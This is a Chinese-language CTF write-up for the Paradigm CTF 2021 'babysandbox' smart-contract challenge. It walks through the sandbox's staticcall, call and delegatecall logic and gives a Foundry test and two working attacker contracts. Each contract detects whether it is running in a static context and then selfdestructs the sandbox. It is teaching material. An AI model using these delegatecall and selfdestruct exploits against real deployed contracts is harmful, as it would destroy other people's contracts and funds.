05.babysandbox
2023-09-18 11:10:26 # 19.Paradigm CTF 2021

babysandbox

分析

1.全局观

  • Setup:初始化题目
  • BabySandbox:只有一个run方法

2.任务

使sandbox合约的代码长度为0,即销毁sandbox合约

1
2
3
4
5
6
7
function isSolved() public view returns (bool) {
uint size;
assembly {
size := extcodesize(sload(sandbox.slot))
}
return size == 0;
}

3.详细分析

做本题需要了解的操作码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
call(): msg.sender
address(): address(this), address of the executing contract
delegatecall(g, a, in, insize, out, outsize):
| gas | addr | argsOffset | argsLength | retOffset | retLength | ==> | success |
gas(): gas still available to execution
returndatacopy(t, f, s): copy s bytes from returndata at position f to mem at position t
returndatasize(): size of the last returndata
calldatacopy(t, f, s):从位置f的calldata复制s字节到位置t的内存中,把输入数据加载到Memory中
calldatasize(): size of call data in bytes
staticcall(g, a, in, insize, out, outsize):
identical to `call(g, a, 0, in, insize, out, outsize)` but do not allow state modifications
| gas | addr | argsOffset | argsLength | retOffset | retLength | ==> | success |
call(g, a, v, in, insize, out, outsize):
| gas | addr | value | argsOffset | argsLength | retOffset | retLength | ==> | success |

让我们来用外部合约来调用一次run()

  1. if eq(caller(), address())不会进入,因为调用者不是此合约
  2. if lt(gas(), 0xf000),当然有足够的gas
  3. calldatacopy(0x00, 0x00, calldatasize()):从位置0x00的calldata复制calldatasize()字节到位置0x00的内存中,也就是将所有的calldata放到内存0x00的位置
  4. if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)):如果成功调用,staticcall()返回true即1,不会被revert,反之如果修改了状态则返回0被revert
    • 0x4000:此次staticcall最多消耗0x4000gas
    • address(), 0, calldatasize(): 执行此合约的run(),因为从0位置开始读取calldatasize()的内容就是run()
    • 0, 0: 不需要返回值。
  5. 再次重入执行此合约的run()
    1. if eq(caller(), address()):判断成功,进入
    2. switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00):调用我们输入的地址code,要求:不得修改此合约状态(否则staticcall失败),并且成功调用(否则switch选择0失败)。由于后面全是0x00,那么就是进入到地址codefallabck()
    3. return(0x00, returndatasize()):此次重入run()执行完毕
  6. switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0):再次重入此合约的run(),但可以修改状态了
    1. if eq(caller(), address()):为true
    2. switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00):调用我们输入的地址code,要求:成功调用
    3. 那么此时我们就可以执行地址code中的代码逻辑,如果fallback中含有selfdestruct(),则完成题目。

看完这个流程,其实就是将Ethernaut的电梯那关用内联汇编出题,原理是一样的。

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.0;
pragma experimental ABIEncoderV2; // https://github.com/foundry-rs/foundry/issues/4376

import "forge-std/Test.sol";
import "../../src/05.babysandbox/Setup.sol";
import "./attacker01.sol";
import "./attacker02.sol";

contract attackTest is Test {
Setup public level;
BabySandbox babySandbox;

function setUp() public {
// 初始化题目
level = new Setup();
babySandbox = level.sandbox();

// 因为foundry只有在一次调用结束的时候,才会更新账户的代码长度信息,网址:
// https://github.com/foundry-rs/foundry/issues/1543
// 因此我们借助在setup中调用,然后在test_isComplete()中就可以检测到是否完成

// 解法1
attacker01 hack = new attacker01();
vm.label(address(hack), "attacker01");
babySandbox.run(address(hack));
//解法2
// attacker02 hack = new attacker02();
// vm.label(address(hack), "attacker02");
// babySandbox.run(address(hack));
}

function test_isComplete() public{
assertEq(level.isSolved(), true);
}

}

解法1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.0;

contract attacker01 {
// immutable会在合约初始化的时候完成赋值
attacker01 public immutable self = this;
uint256 public isStateChange = 1;

function changeState() external {
// 在这里面不能做太多操作,因为BabySandbox做了gas的限制
isStateChange = 0;
}

fallback() external payable {
// 第一次staticcall + delegatecall: 修改了状态,报错,但是会catch住,程序不会停止,而是往下走
// 第二次call + delegatecall: 正常执行
try self.changeState() {
selfdestruct(msg.sender);
} catch {}
}
// 不能有receive(),否则不会走fallback()

}

解法2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.0;

contract attacker02 {
// immutable会在合约初始化的时候完成赋值
address immutable exploit;

constructor() {
exploit = address(this);
}

event Ping();
function stateChangingAction() external {
emit Ping();
}

fallback() external {
(bool success, ) = exploit.call(abi.encodeWithSelector(this.stateChangingAction.selector));
if (success) {
selfdestruct(payable(address(0x0)));
}
}
// 不能有receive(),否则不会走fallback()

}